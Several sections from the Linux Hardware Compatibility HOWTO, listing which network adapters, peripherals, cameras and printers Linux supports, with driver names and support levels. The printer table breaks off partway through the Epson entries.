Ethernet adapters vary greatly in performance. In general the newer the design the better. Some very old cards like the 3Com 3c501 are only useful because they can be found in junk heaps for $5 a time. Be careful with clones, not all are good clones and bad clones often cause erratic lockups under Linux. Read the Ethernet HOWTO for detailed descriptions of various cards.

For ethernet cards with the DECchip DC21x4x family the "Tulip" driver is available. More information on this driver can be found at Donald Becker's site.

  • 3Com 3c501 - "avoid like the plague" (3c501 driver)

  • 3Com 3c503 (3c503 driver), 3c505 (3c505 driver), 3c507 (3c507 driver), 3c509/3c509B (ISA) / 3c579 (EISA)

  • 3Com Etherlink III Vortex Ethercards (3c590, 3c592, 3c595, 3c597) (PCI), 3Com Etherlink XL Boomerang (3c900, 3c905) (PCI) and Cyclone (3c905B, 3c980) Ethercards (3c59x driver) and 3Com Fast EtherLink Ethercard (3c515) (ISA) (3c515 driver) Newer versions of this drivers are available at Donald Becker's site Avoid the 3c900 card when possible as the driver is not functioning well for this card.

  • 3Com 3ccfe575 Cyclone Cardbus (3c59x driver)

  • 3Com 3c575 series Cardbus (3c59x driver) (ALL PCMCIA ??)

  • AMD LANCE (79C960) / PCnet-ISA/PCI (AT1500, HP J2405A, NE1500/NE2100)

  • AT&T GIS WaveLAN

  • Allied Telesis AT1700

  • Allied Telesis LA100PCI-T

  • Allied Telesyn AT2400T/BT ("ne" module)

  • Ansel Communications AC3200 (EISA)

  • Apricot Xen-II / 82596

  • Cabletron E21xx

  • Cogent EM110

  • Crystal Lan CS8920, Cs8900 (driver)

  • Danpex EN-9400

  • DEC DE425 (EISA) / DE434/DE435 (PCI) / DE450/DE500 (DE4x5 driver)

  • DEC DE450/DE500-XA (dc21x4x) (Tulip driver)

  • DEC DEPCA and EtherWORKS

  • DEC EtherWORKS 3 (DE203, DE204, DE205)

  • DEC QSilver's (Tulip driver)

  • Digi International RightSwitch

  • DLink DE-220P, DE-528CT, DE-530+, DFE-500TX, DFE-530TX

  • Fujitsu FMV-181/182/183/184

  • HP PCLAN (27245 and 27xxx series)

  • HP PCLAN PLUS (27247B and 27252A)

  • HP 10/100VG PCLAN (J2577, J2573, 27248B, J2585) (ISA/EISA/PCI) Driver here, more information at Donald Becker's site

  • ICL EtherTeam 16i / 32 (EISA)

  • Intel EtherExpress

  • Intel EtherExpress Pro

  • KTI ET16/P-D2, ET16/P-DC ISA (work jumperless and with hardware-configuration options)

  • Macromate MN-220P (PnP or NE2000 mode)

  • NCR WaveLAN

  • NE2000/NE1000 (be careful with clones)

  • Netgear FA-310TX (Tulip chip)

  • New Media Ethernet

  • PureData PDUC8028, PDI8023

  • SEEQ 8005

  • SMC Ultra / EtherEZ (ISA)

  • SMC 9000 series

  • SMC PCI EtherPower 10/100 (Tulip driver)

  • SMC EtherPower II (epic100.c driver)

  • Sun LANCE adapters (kernel 2.2 and newer)

  • Sun Intel adapters (kernel 2.2 and newer)

  • Schneider & Koch G16

  • Western Digital WD80x3

  • Zenith Z-Note / IBM ThinkPad 300 built-in adapter

  • Znyx 312 etherarray (Tulip driver)

13.1.2. ISDN

  • ISDN for Linux WWW page

  • ISDN4Linux tools are available from here.

  • 3Com Sonix Arpeggio (driver)

  • ASUSCOM Network Inc. ISDNLink 128K PC adapter (HiSax)

  • AVM A1 (HiSax)

  • AVM B1 (avmb1)

  • Combinet EVERYWARE 1000 ISDN (driver)

  • Compaq ISDN S0 (ISA) (HiSax)

  • Creatix PnP S0 (HiSax)

  • Dr. Neuhaus Niccy PnP/PCI (HiSax)

  • Dynalink IS64PH (HiSax)

  • Eicon.Diehl Diva 2.0 (ISA/PCI) (S0 and U interface, no PRO version) (HiSax)

  • Eicon.Diehl Diva Piccola (HiSax)

  • Elsa Microlink PCC-16, PCF, PCF-Pro, PCC-8 (HiSax)

  • ELSA QuickStep 1000/1000PCI/3000 (HiSax)

  • HFC-2BS0 based cards (HiSax)

  • IBM Active 2000 (ISA) (act2000)

  • ICN ISDN cards (icn)

  • Ith Kommunikationstechnik GmbH MIC 16 (ISA) (HiSax)

  • ITK ix1-micro Rev.2 (HiSax)

  • Octal PCBIT (pcbit)

  • Sedlbauer Speed Card (HiSax)

  • Teles SO-8/SO-16.0/SO-16.3/SO-16.3c/SO-16.4 and compatible ones (HiSax)

  • Traverse Technologie NETjet PCI S0 (HiSax)

  • USR Sportster internal TA (HiSax)

ISDN cards that emulate standard modems or common Ethernet adapters don't need any special drivers to work.

13.1.3. WAN Cards

Manufacturer | Model name | Bus | Driver | Notes
Cyclades | PC300/RSV | PCI |  | 1 or 2 ports, RS-232 and V.35
Cyclades | PC300/X21 | PCI |  | 1 or 2 ports, X.21
Cyclades | PC300/TE | PCI |  | 1 or 2 ports, T1 and E1
Emerging Technologies Inc. | ET/5025 | ISA |  | 1 port, 8-bit
Emerging Technologies Inc. | ET/5025-16 | ISA |  | 1 port, 16-bit
Emerging Technologies Inc. | ET/5025-25 | ISA |  | 2 port, 16-bit
Emerging Technologies Inc. | ET/5025pq | PCI |  | 4 port
FarSite Communications | FarSync X21 T2P/WAN T2P | PCI |  | 2 port
FarSite Communications | FarSync X21 T4P/WAN T4P | PCI |  | 4 port
ImageStream | WANic 520 | PCI | See ImageStream's web site | 1 or 2 synchronous serial, T1, or E1 ports
ImageStream | WANic 600 | PCI | See ImageStream's web site | 4 or 8 synchronous serial, T1, or E1 ports
ImageStream | WANic 720 | PCI | See ImageStream's web site | 1 or 2 HSSI, DS3, or E3 ports with i960 co-processor
ImageStream | WANic 800 | PCI | See ImageStream's web site | 1 or 2 HSSI, DS3, or E3 ports
ImageStream | WANic 1000 | PCI | See ImageStream's web site | 1 ATM DS3/E3, single mode OC3, or multimode OC3
ImageStream | Aries 500 | CompactPCI | See ImageStream's web site | 1 or 2 synchronous serial ports
ImageStream | Aries 600 | CompactPCI | See ImageStream's web site | 4 or 8 synchronous serial, T1, or E1
ImageStream | Aries 720 | CompactPCI | See ImageStream's web site | 1 or 2 HSSI, DS3, or E3 ports with i960 co-processor
ImageStream | Aries 800 | CompactPCI | See ImageStream's web site | 1 or 2 HSSI, DS3, or E3 ports
ImageStream | Maxim 520 | PCI Mezzanine Card (PMC) | See ImageStream's web site | 1, 2, or 4 synchronous serial, T1, or E1 ports
ImageStream | Maxim 600 | PCI Mezzanine Card (PMC) | See ImageStream's web site | 4 synchronous serial + 4 T1 or E1 ports
ImageStream | Maxim 800 | PCI Mezzanine Card (PMC) | See ImageStream's web site | 1 or 2 HSSI ports
ImageStream | Maxim 1000 | PCI Mezzanine Card (PMC) | See ImageStream's web site | 1 ATM DS3/E3, single mode OC3, or multimode OC3
ImageStream | ATM/OC12 | PCI Mezzanine Card (PMC) | See ImageStream's web site | 1 ATM OC12 port (32/64-bit PMC)
Sangoma | S514/FT1 | PCI | Wanpipe | 1.54Mbps (T1). The card can be configured to support from 64kbps to 1.54Mbps.
Sangoma | S5141 | PCI | Wanpipe | RS232/V.35/X.21on dual ports. Main port is 4Mpbs, secondary is 512kbps.
Sangoma | S5142 | PCI | Wanpipe | RS232/V.35/X.21on four ports. Main ports are 4Mpbs, secondaries are 512kbps. Functionally identical to two separate S5141 cards.
Sangoma | S508/FT1 | ISA | Wanpipe | 1.54Mbps (T1). The card can be configured to support from 64kbps to 1.54Mbps.
Sangoma | S508 | ISA | Wanpipe | 4Mbps, RS232/V.35/X.21
Sangoma | S503 | ISA | Wanpipe | 64kbps, RS232/V.35/X.21
Sangoma | S502 | ISA | Wanpipe | obsolete card

13.1.4. Wireless

  • ZCOM WL2420 ISA Product information can be found here. Object file kernel drivers are available here.

13.1.5. Frame Relay, X.25, Synchronous PPP, Cisco HDLC

See WAN cards section.

13.1.6. Pocket and portable adapters

  • For more information on Linux and use of the parallel port, go to the Linux Parallel Port Home Page ( alternate location). Check Appendix C for a complete list of supported parallel port devices (excluding printers).

13.1.7. Slotless

  • SLIP/CSLIP/PPP (serial port)

  • EQL (serial IP load balancing)

  • PLIP (parallel port) - using ``LapLink cable'' or bi-directional cable

13.1.8. ARCnet

  • Works with all ARCnet cards

13.1.9. TokenRing

Take a look at the token ring web site here.

  • 3Com 3C619/B/C Tokenlink 16/4 (ibmtr)

  • 3Com 3C319 Velocity ISA (ibmtr)

  • IBM PCI token ring adapter

  • IBM Wake on Lan TR adapter

  • IBM 16/4 TR PCI Adapter 2, Adapter 2 Wake on Lan, Adapter 2 Wake on Lan Special

  • IBM High Speedd 100/16/4 token ring

  • IBM ISA 16/4, MCA 16/4 (ibmtr)

  • IBM Tropic chipset cards

  • Olicom RapidFire 3139, 3140, 3141, 3540 (more info)

  • Olicom OC-3136, OC-3137, OC-3138, OC-3129 (more info)

  • Madge Smart 100/16/4 PCI, 16/4 PCI Mk3, 16/4 PCI Mk2 (more info)

  • Madge Presto PCI, 16/4 CardBus (more info)

  • Syskonnect TR4/16(+) SK-4190 ISA, SK-4590 PCI, SK-4591 PCI (sktr)

13.1.10. FDDI

  • DEC DEFEA (EISA) / DEFPA (PCI) (kernel 2.0.24 and later)

13.1.11. Amateur radio (AX.25)

  • Gracilis PackeTwin

  • Ottawa PI/PI2

  • Most generic 8530 based HDLC boards

13.1.12. PCMCIA cards

  • See Appendix B for complete list or the webpages of David Hinds here.

13.2. Alpha, Beta drivers

13.2.1. Ethernet

  • Racal-Interlan NI5210 (i82586 Ethernet chip). Improved support in kernel 2.2 and newer

  • Racal-Interlan NI6510 (am7990 lance chip). Starting with kernel 1.3.66 more than 16Mb Ram is supported.

  • Racal-Interlan PCI card (AMD PC net chip 97c970)??

13.2.2. ISDN

  • SpellCaster's Datacomute/BRI, Telecomute/BRI (ISA) (sc)

13.2.3. ATM

  • Efficient Networks ENI155P-MF 155 Mbps ATM adapter (PCI) (driver)

13.2.4. Wireless

  • Proxim RangeLan2 7100 (ISA) / 630x (OEM mini-ISA) (driver)

13.3. Unsupported

  • 3Com 3C359 Velocity XL PCI

  • 3Com 3C339 Velocity PCI

  • IBM PCI LANStreamer, MCA LANStreamer token ring

  • Intel TokenExpress PRO, TokenExpress 16/4

  • Sysconnect / Schneider & Koch Token Ring cards (all of them)

Prev | Home | Next
Controllers (multiport) |  | Sound cards


Other hardware

Linux Hardware Compatibility HOWTO
Prev Next

25. Other hardware

25.1. Amateur Radio

The following cards etc. are supported:

  • KISS based Terminal Node Controllers

  • Ottawa PI card

  • Gracilis PacketTwin card

  • Other Z8530 SCC based cards

  • Parallel and serial port Baycom modems

  • Soundblaster cards

  • Soundcards based on the Crystal chipset

25.2. VESA Power Savings Protocol (DPMS) monitors

Support for power savings is included in the Linux kernel. Use setterm to enable support in the Linux console, and xset to enable support under X.

25.3. Touch screens

The Metro-X X-server is supporting the following touch screen controllers:

  • Carrol Touch serial touch screen here

  • EloGraphics

  • Lucas Deeco

  • MicroTouch

25.4. Terminals on serial port

Old terminals can easily be used under Linux by connecting them to the serial port of your system. At least the following terminals will be supported:

  • VT52

  • VT100

  • VT220

  • VT320

  • VT420

25.5. Joysticks

Joystick support is in the latest XFree86 distributions (3.3.x) and in kernel versions 2.1.xx and 2.2.xx. For older kernels the links below are usefull.

  • Joystick driver For information check here. An FTP archive can be found at here.

Currently supported joysticks are:

  • Amiga joysticks on Amiga

  • CH Flightstick Pro compatibles with additional two hats and two buttons

  • DirectPad Pro parallel port joystick interfaces ( here)

  • FP Gaming Assasin 3D ( here)

  • Gamepads with 6 and 8 buttons

  • Genius Flight2000 Digital F-23 ( here)

  • Gravis Blackhawk Digital ( here)

  • Gravis GamePad Pro ( here)

  • Gravis Xterminator GamePad ( here)

  • Logitech CyberMan 2 ( here)

  • Logitech ThunderPad Digital

  • Logitech WingMan Extreme Digital ( here)

  • MadCatz Panther ( here)

  • MadCatz Panther XL ( here)

  • Microsoft SideWinder 3D Pro ( here)

  • Microsoft SideWinder Force Feedback Pro ( here)

  • Microsoft SideWinder GamePad ( here)

  • Microsoft SideWinder Precision Pro ( here)

  • Multisystem joysticks (Atari, Amiga, Commodore, Amstrad)

  • Multisystem joysticks using 0.8.0.2 hw interface

  • Nintendo Entertainment System (and clone - SVI, Pegasus ...) gamepads

  • PDPI Lightning L4 gamecard ( here)

  • Sega Genesis (MegaDrive) gamepads

  • Sega Master System gamepads

  • Sega Saturn gamepads

  • SNESKey parallel port joystick interfaces

  • Sony PlayStation gamepads

  • Standard joysticks with 2, 3 or 4 axes, and up to 4 buttons

  • Super Nintendo Entertainment System gamepads

  • ThrustMaster FCS compatibles with additional hat

  • ThrustMaster Millenium 3D Inceptor ( here)

  • ThrustMaster Rage 3D ( here)

  • TurboGraFX parallel port joystick interface ( here)

25.6. Video capture boards / Frame Grabbers / TV tuner

A couple of programs are available that support TV tuners. These are:

  • BTTV here

  • Xawtv

  • Xtvscreen

All cards with Bt848/Bt848a/Bt849/Bt878/Bt879 and normal Composite/S-VHS inputs are supported. Teletext and Intercast support (PAL only) via VBI samples decoding in software.

  • Adlink 7200 Digital I/O device here

  • Adlink 7300A Digital I/O device here

  • CMOS Video Conferencing Kit. The video capture card has a Bt849 chipset. It comes with a CCD camera.

  • Data Translation DT2803

  • Data Translation DT2851 Frame Grabber here

  • Data Translation DT3155 here

  • Diamond DTV2000 (based on Bt848)

  • Dipix XPG1000/FPG/PPMAPA (based on TI C40 DSP). Most add-on cards are supported. here or here. The driver can be found at here

  • Epix SVM

  • Epix Silicon Video MUX series of video frame grabbing boards here

  • FAST Screen Machine II here

  • Hauppage Wincast TV PCI (based on Bt848) here

  • Imaging Technology ITI/IC-PCI here

  • ImageNation Cortex I here

  • ImageNation CX100 here

  • ImageNation PX500 here

  • ImageNation PXC200 here

  • Imaging Technology Inc. IC-PCI frame grabber board here

  • Matrix Vision MV-Delta here

  • Matrox Meteor here

  • Matrox PIP-1024 here

  • MaxiTV/PCI (based on ZR36120) here

  • Miro PCTV (based on Bt848) here

  • MuTech MV1000 PCI here

  • MuTech MV200 here

  • Philips PCA10TV (not in production anymore) here

  • Pinnacle PCTV (based on Bt848)

  • Pro Movie Studio here

  • Quanta WinVision B&W video capture card here

  • Quickcam here

  • Nomadic Technologies Sensus 700 here for common information. Alas, Nomadic Technologies has removed the page about the Sensus 700.

  • Smart Video Recoder III (based on Bt848) here

  • STB TV PCI Television Tuner (based on Bt848) here

  • Tekram C210 (based on ZR36120) here

  • Video Blaster, Rombo Media Pro+ here

  • VT1500 TV cards here

25.7. Digital Camera

Currently there are five programs which can be used in combination with digital cameras.

  • Camediaplay ( here) You can download it from here

  • Photopc ( here) It can be downloaded from here

  • Qvplay ( here) It can be downloaded from here

  • JCAM, a Java application which allows digital camera owners to access and download pictures from a wide variety of popular digital cameras ( here) It can be downloaded from here

  • gPhoto ( here) It can be downloaded from here

Photopc can be extended with a graphical Tk frontend. This can be found at here. Also Qvplay cab be extended with a graphical Tk frontend, which can be found at here

25.7.1. Supported

  • Agfa ePhoto line of cameras (photopc, camediaplay, JCAM)

  • Apple QuickTake 200 (JCAM)

  • Casio QV10, QV-10A, QV-11, QV-30, QV-70, QV-100, QV-200, QV-300, QV-700, QV-770 (qvplay) here

  • Casio QV-10A, QV-11, QV-30, QV-70, QV-100, QV-300, QV-700, QV-770 (JCAM)

  • Chinon ES-1000 (same hardware, protocol and image format as Kodak DC20) (JCAM) here

  • Epson "Colorio Photo" CP-100 (PhotoPC) (photopc, camediaplay) here

  • Epson "Colorio Photo" CP-200 (PhotoPC 500) (photopc, camediaplay, JCAM) here

  • Epson "Colorio Photo" CP-200 (PhotoPC 550) (JCAM)

  • Epson "Colorio Photo" CP-500 (PhotoPC 600) (photopc, camediaplay, JCAM) here

  • Epson "Colorio Photo" CP-500 (PhotoPC 700) (JCAM)

  • Epson PhotoPC 550 (photopc, camediaplay) here

  • Fuji DS-7, DX-5 (DS-10), DX-7 (DS-20), DX-9 (DS-30), DS-300, MX-700 (JCAM)

  • HP Photo Smart Digital Camera (Some people say it is supported, others say it isn't !!??)

  • Kodak DC-20, DC-25, DC-200/210 (JCAM) here

  • Olympus C-300L, C-320L, C-420L, C-800L, C-840L, C-1000L, C-1400L (JCAM) here

  • Olympus "Camedia" C-400L (D-200L) (photopc, camediaplay, JCAM) here

  • Olympus "Camedia" C-820L (D-320L) (photopc, camediaplay, JCAM) here

  • Olympus C2000Z (photocd)

  • Sanyo VPC-G200/G200EX (photopc, camediaplay) here

  • Sanyo DSC-V1 (VPC-G200E) (photopc, camediaplay) here

  • Sanyo DSC-X1 (VPC-X300) (JCAM)

  • Sanyo DSC-X300 (photopc, camediaplay) here

  • Nikon Coolpix 600/900 (Coolpix 600 untested) (photopc) here and here

  • Sierra Imaging SD640 (photopc) here

  • Toshiba PDR-2 (not sure: photopc) here

25.7.2. Unsupported

  • Casio QV-120, QV-5000SX, QV-7000SX

  • Kodak DC40, DC50, DC120

25.8. UPS

Various other UPS's are supported, read the UPS HOWTO

  • APC SmartUPS here

  • APC-BackUPS 400/600, APC-SmartUPS SU700/1400RM here

  • Fenton PowerPal here for downloads and manuals. Web site information can be found at here

  • Fenton Tele-UPS here for downloads and manuals. Web site information can be found at here

  • Fenton PowerOn here for downloads and manuals. Web site information can be found at here

  • UPS's with RS-232 monitoring port (genpower package) here

  • MGE UPS's here and here

  • A daemon to shut down and up computers connected to ups's. It's network aware and allows server- and client-mode here

25.9. Multifunction boards

  • Pro Audio Spectrum 16 SCSI / Sound interface card

25.10. Data acquisition

The Linux Lab Project site collects drivers for hardware dealing with data acquisition, they also maintain some mailing lists dealing with the subject. I have no experience with data acquisition so please check the site for more details.

  • Linux Lab Project here

  • CED 1401

  • DBCC CAMAC

  • IEEE-488 (GPIB, HPIB) boards

  • Keithley DAS-1200

  • National Instruments AT-MIO-16F / Lab-PC+

  • Analog Devices RTI-800/815 ADC/DAC board contact Paul Gortmaker < gpg109@anu.edu.au >

25.11. Watchdog timer interfaces

  • Berkshire Products PC Watchdog Card (ISA cards rev. A and C) Check here for the PC Watchdog program. A driver is included in recent kernels. More information on this product can be found at here

  • ICS WDT500-P here

  • ICS WDT501-P (with and without fan tachometer) here

  • Outsource Engineering & Manufacturing Inc. Basic Watchdog Timer Board (ISA) Information can be found at here. Drivers currently running on 2.0.29, 2.0.33 and 2.0.36 kernels

25.12. Miscellaneous

  • Mattel Powerglove

  • AIMS Labs RadioTrack FM radio card here

  • Reveal FM Radio card here

  • Videotext cards here

Prev | Home | Next
USB |  | Appendix A. S3 cards supported by XFree86 3.3.x.


Printers/Plotters

Linux Hardware Compatibility HOWTO
Prev Next

22. Printers/Plotters

The following is a list of printers from the linuxprinting.org database. See their web site and the Linux Printing HOWTO for more information.

Manufacturer | Model Number | Functionality
Alps | MD-1000 | Works mostly
Alps | MD-1300 | Works mostly
Alps | MD-1500 | Works mostly
Alps | MD-2000 | Works mostly
Alps | MD-2010 | Works mostly
Alps | MD-2300 | Works mostly
Alps | MD-4000 | Works mostly
Alps | MD-5000 | Works mostly
Alps | MD-5500 | Works mostly
Anitech | M24 | Works perfectly
Apollo | P-1200 | Works perfectly
Apollo | P-1220 Barbie | Works perfectly
Apollo | P-1250 | Works perfectly
Apollo | P-2100 | Works perfectly
Apollo | P-2150 | Works perfectly
Apollo | P-2200 | Works perfectly
Apollo | P-2250 | Works perfectly
Apollo | P-2500 | Works perfectly
Apollo | P-2550 | Works perfectly
Apollo | P-2600 | Works perfectly
Apollo | P-2650 | Works perfectly
Apple | 12/640ps | Works perfectly
Apple | Color StyleWriter 1500 | Works mostly
Apple | Color StyleWriter 2200 | Works mostly
Apple | Color StyleWriter 2400 | Works mostly
Apple | Color StyleWriter 2500 | Works mostly
Apple | Dot Matrix | Works perfectly
Apple | ImageWriter | Works perfectly
Apple | ImageWriter II | Works mostly
Apple | ImageWriter LQ | Works perfectly
Apple | LaserWriter 16/600 | Works perfectly
Apple | LaserWriter 4/600 | Works perfectly
Apple | LaserWriter IINTX | Works perfectly
Apple | LaserWriter IIg | Works perfectly
Apple | LaserWriter NT | Works mostly
Apple | LaserWriter Pro 630 | Works perfectly
Apple | LaserWriter Select 360 | Works perfectly
Apple | StyleWriter 1200 | Works mostly
Apple | StyleWriter I | Works mostly
Apple | StyleWriter II | Works mostly
Avery | Personal Label Printer | Works mostly
Avery | Personal Label Printer+ | Works perfectly
Brother | 4550 | None - Paperweight
Brother | DCP-1200 | Works partially
Brother | HJ-400 | Works mostly
Brother | HL-1020 | Works perfectly
Brother | HL-1030 | Works mostly
Brother | HL-1040 | Works perfectly
Brother | HL-1050 | Works mostly
Brother | HL-1060 | Works mostly
Brother | HL-1070 | Works perfectly
Brother | HL-10V | Works perfectly
Brother | HL-10h | Works perfectly
Brother | HL-1240 | Works mostly
Brother | HL-1250 | Works perfectly
Brother | HL-1260 | Works perfectly
Brother | HL-1270N | Works perfectly
Brother | HL-1440 | Works perfectly
Brother | HL-1450 | Works perfectly
Brother | HL-1470N | Works perfectly
Brother | HL-1650 | Works perfectly
Brother | HL-1660e | Works perfectly
Brother | HL-1670N | Works perfectly
Brother | HL-2060 | Works perfectly
Brother | HL-2400CeN | Works perfectly
Brother | HL-2460 | Works perfectly
Brother | HL-2460N | Works perfectly
Brother | HL-3400CN | Works perfectly
Brother | HL-4Ve | Works perfectly
Brother | HL-630 | Works perfectly
Brother | HL-660 | Works perfectly
Brother | HL-720 | Works perfectly
Brother | HL-730 | Works perfectly
Brother | HL-760 | Works perfectly
Brother | HL-8 | Works perfectly
Brother | HL-820 | Works perfectly
Brother | HL-960 | Works perfectly
Brother | MC-3000 | Works partially
Brother | MFC 7150C | Works partially
Brother | MFC-4350 | Works partially
Brother | MFC-6550MC | Works partially
Brother | MFC-8300 | Works partially
Brother | MFC-9050 | Works partially
Brother | MFC-9100c | Works partially
Brother | MFC-9500 | Works partially
Brother | MFC-9600 | Works partially
Brother | MFC-P2500 | Works partially
Brother | MP-21C | None - Paperweight
CItoh | M8510 | Works perfectly
CalComp | Artisan 1023 penplotter | Works perfectly
Canon | BJ-100 | Works perfectly
Canon | BJ-10e | Works perfectly
Canon | BJ-10v | Works perfectly
Canon | BJ-15v | Works perfectly
Canon | BJ-20 | Works perfectly
Canon | BJ-200 | Works perfectly
Canon | BJ-30 | Works perfectly
Canon | BJ-300 | Works partially
Canon | BJ-330 | Works perfectly
Canon | BJ-35v | Works perfectly
Canon | BJ-5 | Works perfectly
Canon | BJC-1000 | Works mostly
Canon | BJC-2000 | Works mostly
Canon | BJC-2010 | Works mostly
Canon | BJC-210 | Works perfectly
Canon | BJC-2100 | Works mostly
Canon | BJC-210SP | Works partially
Canon | BJC-2110 | Works mostly
Canon | BJC-240 | Works mostly
Canon | BJC-250 | Works perfectly
Canon | BJC-250ex | Works perfectly
Canon | BJC-255SP | Works perfectly
Canon | BJC-265SP | Works perfectly
Canon | BJC-3000 | Works mostly
Canon | BJC-4000 | Works perfectly
Canon | BJC-4100 | Works perfectly
Canon | BJC-4200 | Works perfectly
Canon | BJC-4300 | Works perfectly
Canon | BJC-4310SP | Works mostly
Canon | BJC-4400 | Works perfectly
Canon | BJC-4550 | Works perfectly
Canon | BJC-50 | Works mostly
Canon | BJC-5000 | None - Paperweight
Canon | BJC-5100 | None - Paperweight
Canon | BJC-55 | Works mostly
Canon | BJC-600 | Works perfectly
Canon | BJC-6000 | Works mostly
Canon | BJC-610 | Works perfectly
Canon | BJC-6100 | Works partially
Canon | BJC-620 | Works perfectly
Canon | BJC-6200 | Works partially
Canon | BJC-6500 | Works partially
Canon | BJC-680J | Works perfectly
Canon | BJC-70 | Works perfectly
Canon | BJC-7000 | Works partially
Canon | BJC-7004 | Works mostly
Canon | BJC-7100 | Works partially
Canon | BJC-80 | Works mostly
Canon | BJC-800 | Works perfectly
Canon | BJC-8200 | Works mostly
Canon | BJC-85 | Works mostly
Canon | BJC-8500 | None - Paperweight
Canon | BJC-880J | Works perfectly
Canon | GP 335 | Works perfectly
Canon | GP 405 | Works perfectly
Canon | LBP-1000 | Works perfectly
Canon | LBP-1260 | Works perfectly
Canon | LBP-1760 | Works perfectly
Canon | LBP-310 | Works perfectly
Canon | LBP-320 Pro | Works perfectly
Canon | LBP-350 | Works perfectly
Canon | LBP-4+ | Works perfectly
Canon | LBP-430 | Works perfectly
Canon | LBP-460 | None - Paperweight
Canon | LBP-4U | Works perfectly
Canon | LBP-4sx | Works mostly
Canon | LBP-600 | None - Paperweight
Canon | LBP-660 | None - Paperweight
Canon | LBP-800 | None - Paperweight
Canon | LBP-8A1 | Works perfectly
Canon | LIPS-II+ | Works perfectly
Canon | LIPS-III | Works perfectly
Canon | LIPS-IV | Works perfectly
Canon | LIPS-IVv | Works perfectly
Canon | MultiPASS C2500 | Works partially
Canon | MultiPASS C3000 | Works partially
Canon | MultiPASS C3500 | Works partially
Canon | MultiPASS C5000 | Works partially
Canon | MultiPASS C5500 | Works partially
Canon | Multipass C50 | Unknown
Canon | Multipass L6000 | None - Paperweight
Canon | S100 | Works mostly
Canon | S200 | None - Paperweight
Canon | S300 | Works partially
Canon | S400 | Works mostly
Canon | S450 | Works partially
Canon | S4500 | Works partially
Canon | S500 | Works partially
Canon | S600 | Works partially
Canon | S630 | Works partially
Canon | S800 | Works partially
Canon | imageRunner 330s | Works mostly
Citizen | ProJet II | Works perfectly
Citizen | ProJet IIc | Works perfectly
Citizen | printiva1700 | Works mostly
Citizen | printiva600C | Works perfectly
Citizen | printiva600U | Works perfectly
Citizen | printiva700 | Works mostly
Compaq | A900 | Unknown
Compaq | IJ1200 | Works mostly
Compaq | IJ300 | None - Paperweight
Compaq | IJ750 | Works mostly
Compaq | IJ900 | Works partially
DEC | 1800 | Works mostly
DEC | DECWriter 500i | Works perfectly
DEC | DECwriter 110i | Works perfectly
DEC | DECwriter 520ic | Works perfectly
DEC | LA50 | Works perfectly
DEC | LA70 | Works perfectly
DEC | LA75 | Works perfectly
DEC | LA75 Plus | Works perfectly
DEC | LJ250 | Works perfectly
DEC | LN03 | Works perfectly
DEC | LN07 | Works perfectly
DEC | LN17 | Works mostly
Dymo-CoStar | ASCII 250 | Works perfectly
Dymo-CoStar | ASCII+ | Works perfectly
Dymo-CoStar | EL40 | Works perfectly
Dymo-CoStar | EL60 | Works perfectly
Dymo-CoStar | LabelWriter II | Works perfectly
Dymo-CoStar | LabelWriter XL | Works perfectly
Dymo-CoStar | LabelWriter XL+ | Works perfectly
Dymo-CoStar | SE250 | Works perfectly
Dymo-CoStar | SE250+ | Works perfectly
Dymo-CoStar | Turbo | Works perfectly
Epson | ActionLaser 1100 | Works perfectly
Epson | ActionLaser II | Works perfectly
Epson | ActionPrinter 3250 | Works perfectly
Epson | AcuLaser C1000 | None - Paperweight
Epson | AcuLaser C2000 | Works perfectly
Epson | AcuLaser C2000PS | Works perfectly
Epson | AcuLaser C8500 | Works perfectly
Epson | AcuLaser C8500PS | Works perfectly
Epson | Dot Matrix | Works perfectly
Epson | EPL-5200 | Works perfectly
Epson | EPL-5200+ | Works perfectly
Epson | EPL-5500W | None - Paperweight
Epson | EPL-5700 | Works mostly
Epson | EPL-5700L | None - Paperweight
Epson | EPL-5800 | Works perfectly
Epson | EPL-5800L | None - Paperweight
Epson | EPL-5800PS | Works perfectly
Epson | EPL-5900 | Works perfectly
Epson | EPL-5900PS | Works perfectly
Epson | EPL-7100 | Works perfectly
Epson | EPL-N1600 | Works perfectly
Epson | EPL-N1600PS | Works perfectly
Epson | EPL-N2050 | Works perfectly
Epson | EPL-N2050+ | Works perfectly
Epson | EPL-N2050PS | Works perfectly
Epson | EPL-N2050PS+ | Works perfectly
Epson | EPL-N2120 | Works perfectly
Epson | EPL-N2750 | Works perfectly
Epson | EPL-N2750PS | Works perfectly
Epson | L-1000 | Works perfectly
Epson | LP 8000 | Works perfectly
Epson | LP-2000 | Works perfectly
Epson | LP-2000 | Unknown
Epson | LP-3000 | Works perfectly
Epson | LP-7000 | Works perfectly
Epson | LP-7000G | Works perfectly
Epson | LP-xx00 | Works perfectly
Epson | LQ-24 | Works perfectly
Epson | LQ-2550 | Works perfectly
Epson | LQ-500 | Works perfectly
Epson | LQ-570+ | Works perfectly
Epson | LQ-850 | Works perfectly
Epson | LX-1050 | Works perfectly
Epson | MachJet | Works perfectly
Epson | PM-760C | Works mostly
Epson | PM-770C | Works mostly
Epson | PM-800C | Works mostly
Epson | PM-820C/3300C | Works mostly
Epson | SQ 1170 | Works perfectly
Epson | Stylus | Works perfectly
Epson | Stylus 800 | Works perfectly
Epson | Stylus B/W 820 | Unknown
Epson | Stylus C20SX | Works mostly
Epson | Stylus C20UX | Works mostly
Epson | Stylus C40SX | Works mostly
Epson | Stylus C40UX | Works mostly
Epson | Stylus C60 | Works perfectly
Epson | Stylus C70 | Works perfectly
Epson | Stylus C80 | Works perfectly
Epson | Stylus Color | Works perfectly
Epson | Stylus Color 1160 | Works perfectly
Epson | Stylus Color 1500 | Works perfectly
Epson | Stylus Color 1520 | Works perfectly
Epson | Stylus Color 200 | Works mostly
Epson | Stylus Color 300 | Works mostly
Epson | Stylus Color 3000 | Works perfectly
Epson | Stylus Color 400 | Works perfectly
Epson | Stylus Color 440 | Works perfectly
Epson | Stylus Color 460 | Works perfectly
Epson | Stylus Color 480 | Works partially
Epson | Stylus Color 500 | Works perfectly
Epson | Stylus Color 580 | Works partially
Epson | Stylus Color 600 | Works perfectly
Epson | Stylus Color 640 | Works perfectly
Epson | Stylus Color 660 | Works perfectly
Epson | Stylus Color 670 | Works perfectly
Epson | Stylus Color 680 | Works mostly
Epson | Stylus Color 740 | Works perfectly
Epson | Stylus Color 760 | Works perfectly
Epson | Stylus Color 777 | Works perfectly
Epson | Stylus Color 8 3 | Works mostly
Epson | Stylus Color 800 | Works perfectly
Epson | Stylus Color 850 | Works perfectly
Epson | Stylus Color 860 | Works perfectly
Epson | Stylus Color 880 | Works mostly
Epson | Stylus Color 900 | Works perfectly
